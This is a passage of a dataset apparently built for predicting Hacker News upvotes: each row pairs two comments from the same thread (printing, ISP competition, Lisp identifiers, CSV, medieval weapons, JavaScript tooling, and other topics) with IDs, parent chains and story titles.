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37,475,134 | 37,474,754 | 1 | 2 | 37,473,628 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>gerdesj</author><text>Ideally your printer advertises itself via Bonjour&#x2F;Avahi&#x2F;SLP or whatevs. Ideally Windows receives these adverts and connects you to your printer. One or the other gets it wrong, with monotonous regularity.<p>IPP is print anywhere and it sounds like its been branded &quot;Mopria&quot;.<p>I ditched a thing called HPLIP at home at least five years ago which used to be the cutting edge for Linux printing on HP printers. The bloke that developed CUPS said it was a good idea and I went for it.<p>Now it just works - always. It sounds like Windows is catching up, finally.</text><parent_chain><item><author>breadwinner</author><text>Printing at home is so horrible. I have a printer connected to my Wifi router. It changes IP every time I reboot. When it changes IP, Windows can&#x27;t find it. I can give the printer a static IP but how many people know to do this? Wifi has been around for more than 2 decades. Isn&#x27;t that enough time to figure out a solution?</text></item></parent_chain></comment><story><title>Microsoft to kill off third-party printer drivers in Windows</title><url>https://www.theregister.com/2023/09/11/go_native_or_go_home/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jamescostian</author><text>It could be your router giving it a new IP address, but the printer itself hopefully has a static MAC address. Check your router settings for static IP assignment, they may be under a section called DHCP. Over there you could give it a static IP address for its current MAC address<p>EDIT: this comment no longer makes sense after the parent comment was edited. It used to be explicitly asking for help and didn&#x27;t mention any solutions like static IPs, nor did it spell out a general remark about how this complexity in consumer electronics is bad</text><parent_chain><item><author>breadwinner</author><text>Printing at home is so horrible. I have a printer connected to my Wifi router. It changes IP every time I reboot. When it changes IP, Windows can&#x27;t find it. I can give the printer a static IP but how many people know to do this? Wifi has been around for more than 2 decades. Isn&#x27;t that enough time to figure out a solution?</text></item></parent_chain></comment><story><title>Microsoft to kill off third-party printer drivers in Windows</title><url>https://www.theregister.com/2023/09/11/go_native_or_go_home/</url></story> |
8,032,432 | 8,032,461 | 1 | 2 | 8,031,840 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>spindritf</author><text><i>Do you know why I pay so little? That&#x27;s because we have the free-est goddamn ISP market</i><p>Yes, but also the communist architecture. Those buildings are easier to wire and the way they&#x27;re managed makes it easier to get a permit. It&#x27;s the same in Poland, if you live in one of those atrocious apartment blocks[1], you&#x27;ll have a pick of three, or even seven various ISPs but move to the suburbs and it&#x27;s suddenly either the national telekom or some crappy wireless.<p>Deregulation would probably help Americans living in densely populated areas but not so much in the sprawl. And having a garden is almost a birthright. Ironically, it&#x27;s the Americans in the big cities who favour regulation, and Americans outside of them who don&#x27;t.<p>[1] <a href="http://www.michaeltotten.com/images/Communist%20Blocks%20Georgia%202.jpg" rel="nofollow">http:&#x2F;&#x2F;www.michaeltotten.com&#x2F;images&#x2F;Communist%20Blocks%20Geo...</a></text><parent_chain><item><author>snitko</author><text>I wonder. I wonder. I live in Russia and I have 2-3 very good providers on the block constantly competing with each other and offering better connection and prices. They would show up on time and connect you very fast. They fix things quickly (in my government maintained house, the basement once became filled with water after the rain, and the wires were damaged. Even though it wasn&#x27;t their fault, the ISP came and fixed it the same day). I pay about $120 a year for my internet. It&#x27;s faster than anything I saw when in the US. And that&#x27;s in Russia, that authoritarian backward country. Do you know why I pay so little? That&#x27;s because we have the free-est goddamn ISP market, government hasn&#x27;t been interfering with it (it&#x27;s starting to, though). Everything I see government touches is of low quality, whereas everything that&#x27;s good in my country is private enterprise.<p>And yet, you claim free market fails. Dear american internet users. The only reason you have what you have - shitty speeds and near monopolies - is BECAUSE you have government sticking its nose where it shouldn&#x27;t (I&#x27;d say, it shouldn&#x27;t stick its nose anywhere, but that&#x27;s another story). Comcast is the second largest lobbyist in Washington. And still you want to fix the problem by introducing more of the same, that is more regulation and more government, whereas the only way to fix things is to not allow governmental interference in the first place. You can&#x27;t blame evil Comcast. Why? Because if not them, someone else would lobby and win. If you can lobby, you have to or you&#x27;re gone.</text></item></parent_chain></comment><story><title>Net neutrality</title><url>http://blog.samaltman.com/net-neutrality</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>saucetenuto</author><text>&gt; Do you know why I pay so little? That&#x27;s because we have the free-est goddamn ISP market<p>This is a little imprecise; &quot;free&quot; and &quot;free of governmental interference&quot; are not the same thing. More likely it is because you have a _competitive_ ISP market. That might in turn be because of how free your market is, but in order to really know we&#x27;d have to know how your area solved the problems that led city governments to grant monopolies in the first place.</text><parent_chain><item><author>snitko</author><text>I wonder. I wonder. I live in Russia and I have 2-3 very good providers on the block constantly competing with each other and offering better connection and prices. They would show up on time and connect you very fast. They fix things quickly (in my government maintained house, the basement once became filled with water after the rain, and the wires were damaged. Even though it wasn&#x27;t their fault, the ISP came and fixed it the same day). I pay about $120 a year for my internet. It&#x27;s faster than anything I saw when in the US. And that&#x27;s in Russia, that authoritarian backward country. Do you know why I pay so little? That&#x27;s because we have the free-est goddamn ISP market, government hasn&#x27;t been interfering with it (it&#x27;s starting to, though). Everything I see government touches is of low quality, whereas everything that&#x27;s good in my country is private enterprise.<p>And yet, you claim free market fails. Dear american internet users. The only reason you have what you have - shitty speeds and near monopolies - is BECAUSE you have government sticking its nose where it shouldn&#x27;t (I&#x27;d say, it shouldn&#x27;t stick its nose anywhere, but that&#x27;s another story). Comcast is the second largest lobbyist in Washington. And still you want to fix the problem by introducing more of the same, that is more regulation and more government, whereas the only way to fix things is to not allow governmental interference in the first place. You can&#x27;t blame evil Comcast. Why? Because if not them, someone else would lobby and win. If you can lobby, you have to or you&#x27;re gone.</text></item></parent_chain></comment><story><title>Net neutrality</title><url>http://blog.samaltman.com/net-neutrality</url></story> |
37,713,452 | 37,713,388 | 1 | 2 | 37,713,185 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>olalonde</author><text>Wouldn&#x27;t it be more effective to pursue criminal charges against the individuals directly responsible? Graffitis, particularly when they involve symbols as disturbing as a noose, are not just offensive, they&#x27;re criminal acts. They could even be classified as hate crimes or death threats. The perpetrators should be held responsible. Otherwise, they&#x27;ll simply continue this harmful behavior in their future workplaces, knowing that there are no real consequences.</text><parent_chain></parent_chain></comment><story><title>Tesla sued for severe harassment of black workers at California plant</title><url>https://www.theguardian.com/technology/2023/sep/29/tesla-lawsuit-harassment-racism-black-employees-california</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jillesvangurp</author><text>It&#x27;s sad that that happens of course but not unique to Tesla. Ford settled for some racism and sexism cases a few years ago: <a href="https:&#x2F;&#x2F;www.eeoc.gov&#x2F;newsroom&#x2F;ford-motor-company-pay-10125-million-settle-eeoc-harassment-investigation" rel="nofollow noreferrer">https:&#x2F;&#x2F;www.eeoc.gov&#x2F;newsroom&#x2F;ford-motor-company-pay-10125-m...</a></text><parent_chain></parent_chain></comment><story><title>Tesla sued for severe harassment of black workers at California plant</title><url>https://www.theguardian.com/technology/2023/sep/29/tesla-lawsuit-harassment-racism-black-employees-california</url></story> |
15,605,392 | 15,604,750 | 1 | 3 | 15,604,328 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>dopeboy</author><text>Big fan of DRF. Recently signed up to become an individual sponsor.<p>Does anyone know how DRF works with channels? What is the process to integrate real time support into an existing DRF app?</text><parent_chain></parent_chain></comment><story><title>Django REST framework 3.7 released</title><url>http://www.django-rest-framework.org/topics/3.7-announcement/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>doughj3</author><text>Interesting, I see that Bayer is the sponsor of this release but I can&#x27;t find any open positions on their careers site with a keyword &#x27;Django&#x27;.</text><parent_chain></parent_chain></comment><story><title>Django REST framework 3.7 released</title><url>http://www.django-rest-framework.org/topics/3.7-announcement/</url></story> |
13,135,776 | 13,135,241 | 1 | 2 | 13,134,702 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>okocha</author><text>This reminds me of a paper I read recently about the techniques that China employs to block Tor and other anonymity servers.<p>Great read, especially the annotated version: <a href="http:&#x2F;&#x2F;fermatslibrary.com&#x2F;s&#x2F;examining-how-the-great-firewall-discovers-hidden-circumvention-servers" rel="nofollow">http:&#x2F;&#x2F;fermatslibrary.com&#x2F;s&#x2F;examining-how-the-great-firewall...</a></text><parent_chain></parent_chain></comment><story><title>Belarus finally bans Tor</title><url>https://ooni.torproject.org/post/belarus-fries-onion/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ChuckMcM</author><text>I wonder about the first RST with zeros in the sequence and acknowledge fields. Probably just bad software but if it is always the first RST it could be a sort of canary such that people in the &quot;know&quot; could note the malformed reset and pre-program a &#x27;ignore RST this session&#x27; bit.</text><parent_chain></parent_chain></comment><story><title>Belarus finally bans Tor</title><url>https://ooni.torproject.org/post/belarus-fries-onion/</url></story> |
8,947,665 | 8,947,633 | 1 | 2 | 8,947,080 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mcv</author><text>He puts it a bit too general, but against full plate armour, swords are nearly useless. In the late Middle Ages, when plate armour became increasingly common, people started using weapons with better armour-piercing capabilities, like maces, warhammers and various polearms.<p>Swords are great against lightly armoured and unarmoured targets, like peasants, archers and civilians. Swords remained in use as a side arm and civilian weapon, and a popular duelling weapon, which may also be why so many medieval manuscripts are about one-on-one fights. Carrying a polearm with you everywhere you go is a lot more cumbersome than having a sword hanging on your belt.<p>But swords were absolutely used on the battlefield. Romans and vikings used them a lot. Knights had them of course, and even they became increasingly less useful against other knights, they often didn&#x27;t really want to kill each other anyway. Pikemen generally had a short sword as backup weapon (the Katzbalger), and there&#x27;s of course the massive two-handed swords used by Landsknechts to break up pike formations (supposedly; nobody knows for sure). But again knights in plate armour, you&#x27;d better get something that can knock holes in it. If you want to kill him, that it.<p>You might compare the sword to a pistol. You don&#x27;t usually send a mass of soldiers into battle with just a pistol; you give them assault rifles (or polearms). But officers and civilians tend to carry a pistol, and maybe some soldiers have one for backup.</text><parent_chain><item><author>yummyfajitas</author><text><i>Swords have little use on a medieval battlefield anyway. You use different weapons and tactics.</i><p>Just curious - could you explain this in a bit more detail? It&#x27;s surprising.</text></item><item><author>Sander_Marechal</author><text>I&#x27;m a HEMA practitioner from The Netherlands<p>&gt; I doubt it has close resemblance with medieval long sword fighting, though :-)<p>It does actually resemble it very much, but medieval longsword fighting was probably very different than what you <i>think</i> it was.<p>&gt; It must have been a lot slower fighting in leather, chainmail or plate armor than in this ultra light modern equipment.<p>Not really. The main difference is visibility. First, the modern HEMA equipment is a lot heavier than e.g. standard fencing gear. It&#x27;s a lot thicker (like those dog attack suits) and often have steel or kevlar plates in the inside. Second, medieval gear wasn&#x27;t all that heavy. I have a full suit of maille (as it&#x27;s really called) and it weighs less than 15 kilos, helmet included. A full steel plate armour shouldn&#x27;t weight more than 25 kilos. That&#x27;s less than modern soldiers have to carry around on the battlefield.<p>The biggest difference is that a fencing mask gives you better visibility than a historical closed helmet.<p>&gt; these guys fight one on one<p>That&#x27;s what happened in medieval times too most often. The original medieval books were written mostly for one-on-one combat, either for dueling or trial-by-sword. That happened a lot more than being caught in a war on a battlefield. Swords have little use on a medieval battlefield anyway. You use different weapons and tactics.<p>&gt; And fighting on some uneven, damp meadow [...] would be hard compared to fighting indoor on a floor.<p>My HEMA group trains for this as well, and I suspect many other groups too. It is also mentioned in the medieval books. I have trained in loose sand, in the surf on a beach, in deep snow, etc. It&#x27;s true that competitions are usually held indoors on an even ground though.</text></item><item><author>flexie</author><text>Looks like great fun!<p>I doubt it has close resemblance with medieval long sword fighting, though :-)<p>It must have been a lot slower fighting in leather, chainmail or plate armor than in this ultra light modern equipment.<p>And, I assume a medieval fighter would take far smaller chances than these modern hobbyists knowing a counter blow could be (almost surely would be) fatal.<p>Also, these guys fight one on one. But in a war you would have to guard yourself from blows and cuts not just from one enemy but from a crowd of enemy soldiers, left and right.<p>The guy you were fighting might be using a sword or he might have another weapon. Maybe he was using a shield and you didn&#x27;t. And if he had a sword, he might not have read the memo that it should be max 4 feet long.<p>And fighting on some uneven, damp meadow he might be fighting uphill or downhill, and just keeping ones balance when striking or blocking would be hard compared to fighting indoor on a floor.</text></item></parent_chain></comment><story><title>Inside the world of longsword fighting</title><url>http://www.nytimes.com/video/sports/100000003040466/inside-the-world-of-longsword-fighting.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>Sander_Marechal</author><text>Sure. The problem is that swords don&#x27;t have much effect on an armoured opponent. There are three types of attacks you can do with a sword: slashing, stabbing and cutting. Against a gambeson (jacked made of 20+ layes of linen stitched together) stabbing works, slashing is hard and cutting mostly doesn&#x27;t work. Now add a layer of maille over the gambeson. Cutting doesn&#x27;t work at all anymore, slashing probably only bruises you or breaks some bones and stabbing only works with narrow and sharp-tipped swords. Replace the maille with steel plates and you&#x27;re pretty much invulnerable to swords, except at the joints, eyeslits, etc).<p>So, sending out a group armed with swords on the battlefield isn&#x27;t going to do much. You want warhammers with backspikes that can pierce steel plate and crush bone, halberds that can hit so hard it crushes anything underneath armour, long pikes to keep the enemy at a distance, bows to pierce maille. The best weapon on the battlefield is actually mass. Get a group large enough close together and trample your opponents.<p>That&#x27;s how most battles were won. In viking and early medieval times you would use large shields and short spears, create a shield wall and run over your opponent. Later on heavy cavalry appeared who could easily run over them. Cavalry dominated until the English started using the longbow en masse to kill the mounts of the cavalry. Swiss pikemen started using 6+ meter long pikes in tight bock formations. These pikes were so long that cavalry could be stopped dead before they reached the pikemen in a charge. It&#x27;s like a wooden cumple zone. That pretty much spelled the end of heavy cavalry. Then soldiers started using halberds to get in between the pikes and crush pike blocks.<p>Swords were often carried on the battlefield but usually as a backup weapon, not as the primary weapon. Their cross shape granted them a lot of symbolic meaning in those religious times, but there are much better weapons available if you want to win large battles.</text><parent_chain><item><author>yummyfajitas</author><text><i>Swords have little use on a medieval battlefield anyway. You use different weapons and tactics.</i><p>Just curious - could you explain this in a bit more detail? It&#x27;s surprising.</text></item><item><author>Sander_Marechal</author><text>I&#x27;m a HEMA practitioner from The Netherlands<p>&gt; I doubt it has close resemblance with medieval long sword fighting, though :-)<p>It does actually resemble it very much, but medieval longsword fighting was probably very different than what you <i>think</i> it was.<p>&gt; It must have been a lot slower fighting in leather, chainmail or plate armor than in this ultra light modern equipment.<p>Not really. The main difference is visibility. First, the modern HEMA equipment is a lot heavier than e.g. standard fencing gear. It&#x27;s a lot thicker (like those dog attack suits) and often have steel or kevlar plates in the inside. Second, medieval gear wasn&#x27;t all that heavy. I have a full suit of maille (as it&#x27;s really called) and it weighs less than 15 kilos, helmet included. A full steel plate armour shouldn&#x27;t weight more than 25 kilos. That&#x27;s less than modern soldiers have to carry around on the battlefield.<p>The biggest difference is that a fencing mask gives you better visibility than a historical closed helmet.<p>&gt; these guys fight one on one<p>That&#x27;s what happened in medieval times too most often. The original medieval books were written mostly for one-on-one combat, either for dueling or trial-by-sword. That happened a lot more than being caught in a war on a battlefield. Swords have little use on a medieval battlefield anyway. You use different weapons and tactics.<p>&gt; And fighting on some uneven, damp meadow [...] would be hard compared to fighting indoor on a floor.<p>My HEMA group trains for this as well, and I suspect many other groups too. It is also mentioned in the medieval books. I have trained in loose sand, in the surf on a beach, in deep snow, etc. It&#x27;s true that competitions are usually held indoors on an even ground though.</text></item><item><author>flexie</author><text>Looks like great fun!<p>I doubt it has close resemblance with medieval long sword fighting, though :-)<p>It must have been a lot slower fighting in leather, chainmail or plate armor than in this ultra light modern equipment.<p>And, I assume a medieval fighter would take far smaller chances than these modern hobbyists knowing a counter blow could be (almost surely would be) fatal.<p>Also, these guys fight one on one. But in a war you would have to guard yourself from blows and cuts not just from one enemy but from a crowd of enemy soldiers, left and right.<p>The guy you were fighting might be using a sword or he might have another weapon. Maybe he was using a shield and you didn&#x27;t. And if he had a sword, he might not have read the memo that it should be max 4 feet long.<p>And fighting on some uneven, damp meadow he might be fighting uphill or downhill, and just keeping ones balance when striking or blocking would be hard compared to fighting indoor on a floor.</text></item></parent_chain></comment><story><title>Inside the world of longsword fighting</title><url>http://www.nytimes.com/video/sports/100000003040466/inside-the-world-of-longsword-fighting.html</url></story> |
26,054,050 | 26,053,723 | 1 | 3 | 26,051,255 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>tsimionescu</author><text>&gt; What is the reason why Lisp allows you to use the hyphen for an identifier name?<p>Lisp has only ~7 special characters: (, ), #, &#x27;, &quot;, ` and wite-space. All others are valid as part of an identifier, alone or together. So for example &quot;---&quot; is a valid Lisp identifier, just as much as &quot;aaa&quot;.<p>There is no subtraction operator in lisp. &quot;-&quot; is simply the name of a function in the standard library that implements addition (technically, it might be a special form and not a function, but that&#x27;s beside the point).<p>&gt; This overloads the subtraction operator. And it makes the code very confusing to read.<p>a-b-c in Lisp is unambiguously an operator. Subtraction would be (- c b a) - you can&#x27;t really confuse these two.<p>Subjectively, I happen to think that hyphenated-names are much easier to read and type than camelCase or snake_case. I think most of the world agrees as well, since this is one of the more common typographical roles of the hyphen: joining words, such as &#x27;pre-approved&#x27; or &#x27;ill-defined&#x27;.</text><parent_chain><item><author>blackrock</author><text>What is the reason why Lisp allows you to use the hyphen for an identifier name?<p>This overloads the subtraction operator. And it makes the code very confusing to read.<p>And plus, Lisp also uses the hyphen as the subtraction operator.</text></item><item><author>abhinav22</author><text>You get used to it pretty quickly. Just need a bit of practice.<p>I used to say that proper indenting helps readability but these days I have departed from the standard indenting and do my own thing.<p>That said, this guide on formatting lisp is very useful IMO if you want to learn to read lisp code better:<p><a href="https:&#x2F;&#x2F;link.medium.com&#x2F;idMRZk93Fdb" rel="nofollow">https:&#x2F;&#x2F;link.medium.com&#x2F;idMRZk93Fdb</a><p>I actually wrote it, but now I don’t follow many of its principles :D perhaps because I got a deeper understanding of it. Check it out if and see if it helps</text></item><item><author>enw</author><text>Does anyone find Lisp readable?<p>I haven&#x27;t used Lisp professionally, but find the code terribly confusing to read (mostly due to the look of it, I assume), while I can usually follow code of an unknown language reasonably well.</text></item><item><author>sanxiyn</author><text>Some starting points:<p>USB mass storage driver: <a href="https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;drivers&#x2F;usb&#x2F;mass-storage.lisp" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;drivers&#x2F;usb&#x2F;m...</a><p>ext4 file system (read-only): <a href="https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;file&#x2F;ext4.lisp" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;file&#x2F;ext4.lis...</a><p>TCP network stack: <a href="https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;net&#x2F;tcp.lisp" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;net&#x2F;tcp.lisp</a></text></item></parent_chain></comment><story><title>Mezzano: Operating system written in Common Lisp</title><url>https://github.com/froggey/Mezzano</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kazinator</author><text>C programmers on Unix somehow don&#x27;t get confused by the POSIX shell:<p><pre><code> $ foo-bar()
&gt; {
&gt; echo 42
&gt; }
$ foo-bar
42
</code></pre>
or Make:<p><pre><code> OBJ_COMMON := common.o
OBJ-$(CONFIG_FOO) += foo.o foo-tab.o
OBJ-$(CONFIG_BAR) += bar.o
OBJS := $(COMMON_OBJS) $(OBJ-y)
</code></pre>
even though foo-bar and OBJ-y look like a C subtraction.<p>C programmers on Unix came up with this stuff themselves.</text><parent_chain><item><author>blackrock</author><text>What is the reason why Lisp allows you to use the hyphen for an identifier name?<p>This overloads the subtraction operator. And it makes the code very confusing to read.<p>And plus, Lisp also uses the hyphen as the subtraction operator.</text></item><item><author>abhinav22</author><text>You get used to it pretty quickly. Just need a bit of practice.<p>I used to say that proper indenting helps readability but these days I have departed from the standard indenting and do my own thing.<p>That said, this guide on formatting lisp is very useful IMO if you want to learn to read lisp code better:<p><a href="https:&#x2F;&#x2F;link.medium.com&#x2F;idMRZk93Fdb" rel="nofollow">https:&#x2F;&#x2F;link.medium.com&#x2F;idMRZk93Fdb</a><p>I actually wrote it, but now I don’t follow many of its principles :D perhaps because I got a deeper understanding of it. Check it out if and see if it helps</text></item><item><author>enw</author><text>Does anyone find Lisp readable?<p>I haven&#x27;t used Lisp professionally, but find the code terribly confusing to read (mostly due to the look of it, I assume), while I can usually follow code of an unknown language reasonably well.</text></item><item><author>sanxiyn</author><text>Some starting points:<p>USB mass storage driver: <a href="https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;drivers&#x2F;usb&#x2F;mass-storage.lisp" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;drivers&#x2F;usb&#x2F;m...</a><p>ext4 file system (read-only): <a href="https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;file&#x2F;ext4.lisp" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;file&#x2F;ext4.lis...</a><p>TCP network stack: <a href="https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;net&#x2F;tcp.lisp" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;froggey&#x2F;Mezzano&#x2F;blob&#x2F;master&#x2F;net&#x2F;tcp.lisp</a></text></item></parent_chain></comment><story><title>Mezzano: Operating system written in Common Lisp</title><url>https://github.com/froggey/Mezzano</url></story> |
20,566,331 | 20,565,342 | 1 | 3 | 20,563,293 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>baddox</author><text>I don&#x27;t understand what is so appealing about not having a build pipeline for JavaScript, other than the ability to very quickly test and learn things directly in the browser, which of course anyone can still do.<p>For anything remotely important, you&#x27;re almost certainly going to already want a build pipeline to do things like concatenating&#x2F;minifying code, running tests, and deploying. Adding a transpilation step to extend support to older browsers comes with almost no cost to time or maintainability, assuming you&#x27;re using well-supported things like Babel and its official plugins.</text><parent_chain><item><author>pault</author><text>&gt; It&#x27;s popular to be sure but handwritten javascript is not that rare nowadays, is it?<p>Long time front end developer here. In the last couple of years I can&#x27;t recall seeing even a single project without a build pipeline (not that they don&#x27;t exist, I just haven&#x27;t encountered them at my day job, first or third party).</text></item><item><author>simias</author><text>That&#x27;s not unique to JS. Some compilers took over a decade to implement C99 features. Most of us C coders were still defaulting to C89 for portability well into the late 00&#x27;s. But now C99 is mainstream enough that you can (mostly) safely target it.<p>If you never release new standards you&#x27;ll never be able to use them. I realize that in JS world 4 years is basically an eternity so it&#x27;s hard to project that far but I&#x27;m sure that if you still have to write javascript code 10 years from now you&#x27;ll be happy to be able to use the features of ES2019.<p>Regarding transpilation surely it&#x27;s not as standard as you make it out to be? It&#x27;s popular to be sure but handwritten javascript is not that rare nowadays, is it?</text></item><item><author>mmartinson</author><text>Honest question, not meant to be inflammatory.<p>If we still need to target es5 4 years later, and transpilation is standard practice, why bother? Is the evolution of JS not directed in practice by the authors of Babel and Typescript? If no one can confidently ship this stuff for years after, what’s the incentive to even bother thinking about what is official vs a Babel supported proposal.<p>I like the idea of idiomatic JS with powerful modern features, but in practice every project I’ve seen seems to use a pretty arbitrary subset of the language, with different ideas about best practices and what the good parts are.</text></item></parent_chain></comment><story><title>What’s New in ES2019</title><url>https://blog.tildeloop.com/posts/javascript-what%E2%80%99s-new-in-es2019</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>WA9ACE</author><text>I made this recently just because I wanted to prove to myself that it was possible to have a modern frontend application without all the overhead of build tooling and I have to say I&#x27;m pretty happy with it. You can use some of the most important things in browsers today like CSS variables, and ES module imports.<p><a href="https:&#x2F;&#x2F;gitlab.com&#x2F;WA9ACE&#x2F;frontend-starter" rel="nofollow">https:&#x2F;&#x2F;gitlab.com&#x2F;WA9ACE&#x2F;frontend-starter</a></text><parent_chain><item><author>pault</author><text>&gt; It&#x27;s popular to be sure but handwritten javascript is not that rare nowadays, is it?<p>Long time front end developer here. In the last couple of years I can&#x27;t recall seeing even a single project without a build pipeline (not that they don&#x27;t exist, I just haven&#x27;t encountered them at my day job, first or third party).</text></item><item><author>simias</author><text>That&#x27;s not unique to JS. Some compilers took over a decade to implement C99 features. Most of us C coders were still defaulting to C89 for portability well into the late 00&#x27;s. But now C99 is mainstream enough that you can (mostly) safely target it.<p>If you never release new standards you&#x27;ll never be able to use them. I realize that in JS world 4 years is basically an eternity so it&#x27;s hard to project that far but I&#x27;m sure that if you still have to write javascript code 10 years from now you&#x27;ll be happy to be able to use the features of ES2019.<p>Regarding transpilation surely it&#x27;s not as standard as you make it out to be? It&#x27;s popular to be sure but handwritten javascript is not that rare nowadays, is it?</text></item><item><author>mmartinson</author><text>Honest question, not meant to be inflammatory.<p>If we still need to target es5 4 years later, and transpilation is standard practice, why bother? Is the evolution of JS not directed in practice by the authors of Babel and Typescript? If no one can confidently ship this stuff for years after, what’s the incentive to even bother thinking about what is official vs a Babel supported proposal.<p>I like the idea of idiomatic JS with powerful modern features, but in practice every project I’ve seen seems to use a pretty arbitrary subset of the language, with different ideas about best practices and what the good parts are.</text></item></parent_chain></comment><story><title>What’s New in ES2019</title><url>https://blog.tildeloop.com/posts/javascript-what%E2%80%99s-new-in-es2019</url></story> |
28,222,181 | 28,222,319 | 1 | 2 | 28,221,654 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>masklinn</author><text>And CSV can be consumed and produced by spreadsheet software, which is useful to critical in many contexts where CSV is part of the pipeline. There the alternative would be to use xlsx files which… isn&#x27;t necessarily any better.<p>Until someone gets <i>excel</i> to ingest and produce something in a better format, we&#x27;re pretty much stuck.</text><parent_chain><item><author>izietto</author><text>&quot;In favour of what?&quot;, that is the matter.<p>CSV is a format more for humans and less for machines, but that is the use case: a format that is good enough to be compiled by humans and read by machines. At the moment there aren&#x27;t many alternatives.</text></item></parent_chain></comment><story><title>Time to retire the CSV?</title><url>https://www.bitsondisk.com/writing/2021/retire-the-csv/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>acwan93</author><text>Also, &quot;will the other side adopt it?&quot;<p>After working with so many retailers and online sales channels, things that are considered &quot;legacy&quot; or &quot;outdated&quot; by the HN crowd doesn&#x27;t seem like it will go away unless both sides make a change. There are numerous articles posted on HN about how &quot;FTP is dead&quot; or no one uses it anymore, when it&#x27;s far from the case.<p>Even Amazon&#x27;s marketplace and vendor files are still using SFTP and EDI files. They&#x27;ve recently made changes, but it&#x27;s been slow and hasn&#x27;t had widespread adoption.<p>There&#x27;s also the universality and &quot;simplicity&quot; CSV provides to the non-computer literate, and convincing them to make a change to a new standard provides itself some non-technical challenges. CSV is a bad standard, but it&#x27;s the best one given what it does and its flexibility.</text><parent_chain><item><author>izietto</author><text>&quot;In favour of what?&quot;, that is the matter.<p>CSV is a format more for humans and less for machines, but that is the use case: a format that is good enough to be compiled by humans and read by machines. At the moment there aren&#x27;t many alternatives.</text></item></parent_chain></comment><story><title>Time to retire the CSV?</title><url>https://www.bitsondisk.com/writing/2021/retire-the-csv/</url></story> |
5,381,768 | 5,381,625 | 1 | 2 | 5,381,317 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>scott_s</author><text>I thought it was straight-forward: he wants to understand what it was about Reader that users liked, so he can work on incorporating them into Google+. Since he does not have the power to save Reader, he's telling people this is not the venue to complain about its shutdown.</text><parent_chain><item><author>nicksergeant</author><text>Yeah, I really don't understand what he's looking for here. He wants constructive criticism about <i>what parts</i> of Google Reader were useful, but if you complain at all, your comment will be deleted.<p>Google Reader <i>itself</i> was the useful piece. It aggregates RSS feeds. I don't really know how else you can explain that "yes, it aggregated RSS feeds, and I like to read all of my RSS feeds in one place".</text></item></parent_chain></comment><story><title>Chief Architect of Google+ requests clarification on Google Reader</title><url>https://plus.google.com/u/0/103389452828130864950/posts/Br8hk1KjY1U</url><text></text></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ditojim</author><text>i also think this line of thinking is silly. the Googler is assuming a set of features is what made Google Reader the best RSS reader on the market. while that is true in essence (features do add up to the overall product) i don't think any 1 feature in reader was killer. rather, the collection of all the features made the app itself killer.</text><parent_chain><item><author>nicksergeant</author><text>Yeah, I really don't understand what he's looking for here. He wants constructive criticism about <i>what parts</i> of Google Reader were useful, but if you complain at all, your comment will be deleted.<p>Google Reader <i>itself</i> was the useful piece. It aggregates RSS feeds. I don't really know how else you can explain that "yes, it aggregated RSS feeds, and I like to read all of my RSS feeds in one place".</text></item></parent_chain></comment><story><title>Chief Architect of Google+ requests clarification on Google 